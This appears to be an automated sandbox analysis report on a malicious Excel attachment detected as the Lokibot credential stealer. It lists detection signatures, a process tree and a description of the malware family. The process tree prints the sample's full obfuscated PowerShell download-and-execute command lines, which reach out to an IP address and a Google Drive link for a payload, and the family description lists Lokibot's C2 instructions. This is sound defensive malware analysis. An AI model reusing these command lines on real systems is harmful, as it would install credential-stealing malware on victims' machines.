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Windows
Analysis Report
Shipping Documents WMLREF115900.xls
Overview
General Information
Detection
Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Lokibot
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches the installation path of Mozilla Firefox
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3208 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3484 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3568 cmdline:
"C:\Window s\sYSTEm32 \WinDOWspO wershElL\v 1.0\pOweRs hEll.eXe" "PoWeRshEL L.exE -eX bYpASs -NOp -w 1 -c DEvIC ecrEdentia LdePlOYMen t.ExE ; Ie x($(IEx('[ sYsTem.TeX t.eNcOdiNg ]'+[ChAR]5 8+[chAR]0X 3A+'utf8.g etSTrIng([ sYsTeM.cOn vErt]'+[CH ar]0x3A+[c HaR]0x3A+' frOMbAsE64 StrinG('+[ ChAR]0x22+ 'JFQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgID0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI EFEZC1UWVB FICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTUVtQ kVyZEVGSU5 pdGlvTiAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgJ 1tEbGxJbXB vcnQoIlVyb G1vbi5kTEw iLCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQ2hhc lNldCA9IEN oYXJTZXQuV W5pY29kZSl dcHVibGljI HN0YXRpYyB leHRlcm4gS W50UHRyIFV STERvd25sb 2FkVG9GaWx lKEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgUmhQQVd hVSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFpIT0d jVSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFFvLHV pbnQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGxza GJQSHRzLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga ik7JyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 BbUUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICJua WVlIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 hbWVTcEFjZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgcnB3WUl pRnNleCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJFQ6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xO TIuMy4xNzY uMTQxLzM2L 2dvb2R0aGl uZ3N3aXRoZ 3JlYXRjb21 lYmFja3dpd GhncmVhdHR oaWducy50S UYiLCIkRU5 WOkFQUERBV EFcZ29vZHR oaW5nc3dpd GhncmVhdGN vbWViYWNrd 2l0aGdyZWF 0dGhpZy52Y lMiLDAsMCk 7c1RhUnQtc 2xlZVAoMyk 7U3RhcnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZU52OkF QUERBVEFcZ 29vZHRoaW5 nc3dpdGhnc mVhdGNvbWV iYWNrd2l0a GdyZWF0dGh pZy52YlMi' +[ChAr]34+ '))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3676 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX bYpASs -NOp -w 1 -c DEvICe crEdentiaL dePlOYMent .ExE MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3772 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\41k31j e4\41k31je 4.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3780 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES4A69.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\41k 31je4\CSC1 CC2DACCE81 D4F99A1AD5 04B85F7125 6.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3864 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\goodt hingswithg reatcomeba ckwithgrea tthig.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3912 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnVUNRaW 1hZ2VVcmwg PSAwVERodH RwczovL2Ry aXZlLmdvb2 dsZS5jb20v dWM/ZXhwb3 J0PWRvd25s b2EnKydkJy snJmlkPTFB SVZnSkpKdj FGNnZTNHNV T3libkgtc0 R2VWhCWXd1 ciAwVEQ7VU NRd2ViQ2xp ZW50ID0gTm V3LU9iamVj dCBTeXN0ZW 0uTmV0Llcn KydlYkNsaW VudDtVQ1Fp bWFnZUJ5dG VzID0gVUNR d2ViQ2xpZW 50LkRvd25s b2FkRGF0YS hVQ1FpbScr J2FnZVVybC k7VUNRaW1h Z2VUZXh0ID 0gW1N5c3Rl bS5UZXh0Lk VuY29kaW5n XTo6VVRGOC 5HZXRTdHJp bmcnKycoVU NRaW1hZ2VC eXRlcyk7VU NRc3RhcnRG bGFnID0gMF REPDxCQVNF NjRfU1RBUl Q+PjBURDtV Q1EnKydlbm RGbGFnID0g MFREPDxCQV NFNjRfRU5E Pj4wVEQ7VU NRc3RhcnRJ bmRleCA9IF VDUWltYWdl VGV4dC5Jbm RleE9mKFVD UXN0YXJ0Rm xhZyk7VUNR ZW5kSW5kZX ggPSBVQ1Fp bWFnZVRleH QuSW5kZXhP ZihVQ1Flbm RGbGFnKTtV Q1FzdCcrJ2 FydEluZGV4 IC1nZSAwIC 1hbmQgVUNR ZW5kSW5kZX ggLWd0IFVD UXN0YXJ0SW 5kZXg7VUNR c3RhcnRJbm RleCArPSBV Q1FzdGFydE ZsYWcuTGVu Z3RoO1VDUW Jhc2U2NCcr J0xlbmd0aC A9ICcrJ1VD JysnUScrJ2 VuZEluZGV4 IC0gVUNRc3 RhcnRJbmRl eDtVQ1FiYX NlNjRDb21t YW5kICcrJz 0gVUNRaW1h Z2VUZXh0Ll N1YnN0cmlu ZyhVQ1FzdG FydEluZGV4 LCBVQ1FiYX NlNjRMZW5n dGgpO1VDUW Jhc2U2NFJl dmVyc2VkID 0gLWpvaW4g KFVDUWJhc2 U2NENvbW1h bmQuVG9DaG FyQXJyYXko KSBQeXogRm 9yRWFjaC1P YmplY3Qgey BVQ1FfIH0p WycrJy0xLi 4tKFVDUWJh c2U2NENvbW 1hbmQuTGVu Z3RoKV07VU NRY29tbWFu ZEJ5dGVzID 0gW1N5c3Rl bS5Db252ZX J0XTo6RnJv bUJhc2U2NF N0cmluZyhV Q1FiYXNlNj RSZXZlcnNl ZCk7VUNRbG 9hZGVkQXNz JysnZW1ibH kgPSBbU3lz dGVtLlJlZm xlY3Rpb24u QXNzZW1ibH ldOjpMb2Fk KFVDUWNvbW 1hbmRCeXRl cyk7VUMnKy dRdmFpTWV0 aG9kID0gW2 RubGliLklP LkhvbScrJ2 VdLkdldE1l dGhvZCgwVE RWQUkwVEQp O1VDUXZhaU 1ldGhvZC5J bnZva2UoJy snVUNRJysn bnVsbCwgQC gwVER0eHQu SUtPTDAyJV NHT0wvNjMv MTQxLjYnKy c3MS4zLjI5 MS8vOnB0dG gwVEQsIDBU RGRlc2F0aX ZhZG8wVEQs IDBURGRlc2 F0aXZhZG8w VEQsIDBURG Rlc2F0aScr J3ZhZG8wVE QsIDBUREFk ZEluUHJvY2 VzczMyMFRE LCAwVERkZX NhdGl2YWRv MFRELCAwVE RkZXNhdGl2 YWRvMFRELD BURGRlc2F0 aXZhZG8wVE QsMFREZGVz YXRpdmFkbz BURCwnKycw VERkZXNhdG l2YWRvJysn MFRELDBURG Rlc2F0aXZh ZG8wVEQsMF REZGVzYXRp dmFkbzBURC wwVCcrJ0Qx MFRELDBURG Rlc2F0aXZh ZCcrJ28wVE QpKScrJzsn KS1yRXBsYW NFJ1VDUScs W2NIYVJdMz YgIC1yRXBs YWNFJzBURC csW2NIYVJd MzkgIC1yRX BsYWNFIChb Y0hhUl04MC tbY0hhUl0x MjErW2NIYV JdMTIyKSxb Y0hhUl0xMj QpIHwuICgo R0VULXZhUk lhQkxlICcq bWRyKicpLm 5hTUVbMywx MSwyXS1Kb0 lOJycp';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 4000 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('UC QimageUrl = 0TDhttps ://drive.g oogle.com/ uc?export= downloa'+' d'+'&id=1A IVgJJJv1F6 vS4sUOybnH -sDvUhBYwu r 0TD;UCQw ebClient = New-Objec t System.N et.W'+'ebC lient;UCQi mageBytes = UCQwebCl ient.Downl oadData(UC Qim'+'ageU rl);UCQima geText = [ System.Tex t.Encoding ]::UTF8.Ge tString'+' (UCQimageB ytes);UCQs tartFlag = 0TD<<BASE 64_START>> 0TD;UCQ'+' endFlag = 0TD<<BASE6 4_END>>0TD ;UCQstartI ndex = UCQ imageText. IndexOf(UC QstartFlag );UCQendIn dex = UCQi mageText.I ndexOf(UCQ endFlag);U CQst'+'art Index -ge 0 -and UCQ endIndex - gt UCQstar tIndex;UCQ startIndex += UCQsta rtFlag.Len gth;UCQbas e64'+'Leng th = '+'UC '+'Q'+'end Index - UC QstartInde x;UCQbase6 4Command ' +'= UCQima geText.Sub string(UCQ startIndex , UCQbase6 4Length);U CQbase64Re versed = - join (UCQb ase64Comma nd.ToCharA rray() Pyz ForEach-O bject { UC Q_ })['+'- 1..-(UCQba se64Comman d.Length)] ;UCQcomman dBytes = [ System.Con vert]::Fro mBase64Str ing(UCQbas e64Reverse d);UCQload edAss'+'em bly = [Sys tem.Reflec tion.Assem bly]::Load (UCQcomman dBytes);UC '+'QvaiMet hod = [dnl ib.IO.Hom' +'e].GetMe thod(0TDVA I0TD);UCQv aiMethod.I nvoke('+'U CQ'+'null, @(0TDtxt. IKOL02%SGO L/63/141.6 '+'71.3.29 1//:ptth0T D, 0TDdesa tivado0TD, 0TDdesati vado0TD, 0 TDdesati'+ 'vado0TD, 0TDAddInPr ocess320TD , 0TDdesat ivado0TD, 0TDdesativ ado0TD,0TD desativado 0TD,0TDdes ativado0TD ,'+'0TDdes ativado'+' 0TD,0TDdes ativado0TD ,0TDdesati vado0TD,0T '+'D10TD,0 TDdesativa d'+'o0TD)) '+';')-rEp lacE'UCQ', [cHaR]36 - rEplacE'0T D',[cHaR]3 9 -rEplacE ([cHaR]80 +[cHaR]121 +[cHaR]122 ),[cHaR]12 4) |. ((GE T-vaRIaBLe '*mdr*'). naME[3,11, 2]-JoIN'') " MD5: A575A7610E5F003CC36DF39E07C4BA7D) - AddInProcess32.exe (PID: 3496 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958) - mshta.exe (PID: 2600 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 2464 cmdline:
"C:\Window s\sYSTEm32 \WinDOWspO wershElL\v 1.0\pOweRs hEll.eXe" "PoWeRshEL L.exE -eX bYpASs -NOp -w 1 -c DEvIC ecrEdentia LdePlOYMen t.ExE ; Ie x($(IEx('[ sYsTem.TeX t.eNcOdiNg ]'+[ChAR]5 8+[chAR]0X 3A+'utf8.g etSTrIng([ sYsTeM.cOn vErt]'+[CH ar]0x3A+[c HaR]0x3A+' frOMbAsE64 StrinG('+[ ChAR]0x22+ 'JFQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgID0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI EFEZC1UWVB FICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTUVtQ kVyZEVGSU5 pdGlvTiAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgJ 1tEbGxJbXB vcnQoIlVyb G1vbi5kTEw iLCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQ2hhc lNldCA9IEN oYXJTZXQuV W5pY29kZSl dcHVibGljI HN0YXRpYyB leHRlcm4gS W50UHRyIFV STERvd25sb 2FkVG9GaWx lKEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgUmhQQVd hVSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFpIT0d jVSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFFvLHV pbnQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGxza GJQSHRzLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga ik7JyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 BbUUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICJua WVlIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 hbWVTcEFjZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgcnB3WUl pRnNleCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJFQ6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xO TIuMy4xNzY uMTQxLzM2L 2dvb2R0aGl uZ3N3aXRoZ 3JlYXRjb21 lYmFja3dpd GhncmVhdHR oaWducy50S UYiLCIkRU5 WOkFQUERBV EFcZ29vZHR oaW5nc3dpd GhncmVhdGN vbWViYWNrd 2l0aGdyZWF 0dGhpZy52Y lMiLDAsMCk 7c1RhUnQtc 2xlZVAoMyk 7U3RhcnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZU52OkF QUERBVEFcZ 29vZHRoaW5 nc3dpdGhnc mVhdGNvbWV iYWNrd2l0a GdyZWF0dGh pZy52YlMi' +[ChAr]34+ '))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 1692 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX bYpASs -NOp -w 1 -c DEvICe crEdentiaL dePlOYMent .ExE MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3104 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\sblybu 2m\sblybu2 m.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2716 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES8FC2.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\sbl ybu2m\CSCF EB4FC09456 049919CFF2 36451FA82A .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3268 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\goodt hingswithg reatcomeba ckwithgrea tthig.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2072 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnVUNRaW 1hZ2VVcmwg PSAwVERodH RwczovL2Ry aXZlLmdvb2 dsZS5jb20v dWM/ZXhwb3 J0PWRvd25s b2EnKydkJy snJmlkPTFB SVZnSkpKdj FGNnZTNHNV T3libkgtc0 R2VWhCWXd1 ciAwVEQ7VU NRd2ViQ2xp ZW50ID0gTm V3LU9iamVj dCBTeXN0ZW 0uTmV0Llcn KydlYkNsaW VudDtVQ1Fp bWFnZUJ5dG VzID0gVUNR d2ViQ2xpZW 50LkRvd25s b2FkRGF0YS hVQ1FpbScr J2FnZVVybC k7VUNRaW1h Z2VUZXh0ID 0gW1N5c3Rl bS5UZXh0Lk VuY29kaW5n XTo6VVRGOC 5HZXRTdHJp bmcnKycoVU NRaW1hZ2VC eXRlcyk7VU NRc3RhcnRG bGFnID0gMF REPDxCQVNF NjRfU1RBUl Q+PjBURDtV Q1EnKydlbm RGbGFnID0g MFREPDxCQV NFNjRfRU5E Pj4wVEQ7VU NRc3RhcnRJ bmRleCA9IF VDUWltYWdl VGV4dC5Jbm RleE9mKFVD UXN0YXJ0Rm xhZyk7VUNR ZW5kSW5kZX ggPSBVQ1Fp bWFnZVRleH QuSW5kZXhP ZihVQ1Flbm RGbGFnKTtV Q1FzdCcrJ2 FydEluZGV4 IC1nZSAwIC 1hbmQgVUNR ZW5kSW5kZX ggLWd0IFVD UXN0YXJ0SW 5kZXg7VUNR c3RhcnRJbm RleCArPSBV Q1FzdGFydE ZsYWcuTGVu Z3RoO1VDUW Jhc2U2NCcr J0xlbmd0aC A9ICcrJ1VD JysnUScrJ2 VuZEluZGV4 IC0gVUNRc3 RhcnRJbmRl eDtVQ1FiYX NlNjRDb21t YW5kICcrJz 0gVUNRaW1h Z2VUZXh0Ll N1YnN0cmlu ZyhVQ1FzdG FydEluZGV4 LCBVQ1FiYX NlNjRMZW5n dGgpO1VDUW Jhc2U2NFJl dmVyc2VkID 0gLWpvaW4g KFVDUWJhc2 U2NENvbW1h bmQuVG9DaG FyQXJyYXko KSBQeXogRm 9yRWFjaC1P YmplY3Qgey BVQ1FfIH0p WycrJy0xLi 4tKFVDUWJh c2U2NENvbW 1hbmQuTGVu Z3RoKV07VU NRY29tbWFu ZEJ5dGVzID 0gW1N5c3Rl bS5Db252ZX J0XTo6RnJv bUJhc2U2NF N0cmluZyhV Q1FiYXNlNj RSZXZlcnNl ZCk7VUNRbG 9hZGVkQXNz JysnZW1ibH kgPSBbU3lz dGVtLlJlZm xlY3Rpb24u QXNzZW1ibH ldOjpMb2Fk KFVDUWNvbW 1hbmRCeXRl cyk7VUMnKy dRdmFpTWV0 aG9kID0gW2 RubGliLklP LkhvbScrJ2 VdLkdldE1l dGhvZCgwVE RWQUkwVEQp O1VDUXZhaU 1ldGhvZC5J bnZva2UoJy snVUNRJysn bnVsbCwgQC gwVER0eHQu SUtPTDAyJV NHT0wvNjMv MTQxLjYnKy c3MS4zLjI5 MS8vOnB0dG gwVEQsIDBU RGRlc2F0aX ZhZG8wVEQs IDBURGRlc2 F0aXZhZG8w VEQsIDBURG Rlc2F0aScr J3ZhZG8wVE QsIDBUREFk ZEluUHJvY2 VzczMyMFRE LCAwVERkZX NhdGl2YWRv MFRELCAwVE RkZXNhdGl2 YWRvMFRELD BURGRlc2F0 aXZhZG8wVE QsMFREZGVz YXRpdmFkbz BURCwnKycw VERkZXNhdG l2YWRvJysn MFRELDBURG Rlc2F0aXZh ZG8wVEQsMF REZGVzYXRp dmFkbzBURC wwVCcrJ0Qx MFRELDBURG Rlc2F0aXZh ZCcrJ28wVE QpKScrJzsn KS1yRXBsYW NFJ1VDUScs W2NIYVJdMz YgIC1yRXBs YWNFJzBURC csW2NIYVJd MzkgIC1yRX BsYWNFIChb Y0hhUl04MC tbY0hhUl0x MjErW2NIYV JdMTIyKSxb Y0hhUl0xMj QpIHwuICgo R0VULXZhUk lhQkxlICcq bWRyKicpLm 5hTUVbMywx MSwyXS1Kb0 lOJycp';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3560 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('UC QimageUrl = 0TDhttps ://drive.g oogle.com/ uc?export= downloa'+' d'+'&id=1A IVgJJJv1F6 vS4sUOybnH -sDvUhBYwu r 0TD;UCQw ebClient = New-Objec t System.N et.W'+'ebC lient;UCQi mageBytes = UCQwebCl ient.Downl oadData(UC Qim'+'ageU rl);UCQima geText = [ System.Tex t.Encoding ]::UTF8.Ge tString'+' (UCQimageB ytes);UCQs tartFlag = 0TD<<BASE 64_START>> 0TD;UCQ'+' endFlag = 0TD<<BASE6 4_END>>0TD ;UCQstartI ndex = UCQ imageText. IndexOf(UC QstartFlag );UCQendIn dex = UCQi mageText.I ndexOf(UCQ endFlag);U CQst'+'art Index -ge 0 -and UCQ endIndex - gt UCQstar tIndex;UCQ startIndex += UCQsta rtFlag.Len gth;UCQbas e64'+'Leng th = '+'UC '+'Q'+'end Index - UC QstartInde x;UCQbase6 4Command ' +'= UCQima geText.Sub string(UCQ startIndex , UCQbase6 4Length);U CQbase64Re versed = - join (UCQb ase64Comma nd.ToCharA rray() Pyz ForEach-O bject { UC Q_ })['+'- 1..-(UCQba se64Comman d.Length)] ;UCQcomman dBytes = [ System.Con vert]::Fro mBase64Str ing(UCQbas e64Reverse d);UCQload edAss'+'em bly = [Sys tem.Reflec tion.Assem bly]::Load (UCQcomman dBytes);UC '+'QvaiMet hod = [dnl ib.IO.Hom' +'e].GetMe thod(0TDVA I0TD);UCQv aiMethod.I nvoke('+'U CQ'+'null, @(0TDtxt. IKOL02%SGO L/63/141.6 '+'71.3.29 1//:ptth0T D, 0TDdesa tivado0TD, 0TDdesati vado0TD, 0 TDdesati'+ 'vado0TD, 0TDAddInPr ocess320TD , 0TDdesat ivado0TD, 0TDdesativ ado0TD,0TD desativado 0TD,0TDdes ativado0TD ,'+'0TDdes ativado'+' 0TD,0TDdes ativado0TD ,0TDdesati vado0TD,0T '+'D10TD,0 TDdesativa d'+'o0TD)) '+';')-rEp lacE'UCQ', [cHaR]36 - rEplacE'0T D',[cHaR]3 9 -rEplacE ([cHaR]80 +[cHaR]121 +[cHaR]122 ),[cHaR]12 4) |. ((GE T-vaRIaBLe '*mdr*'). naME[3,11, 2]-JoIN'') " MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
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Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |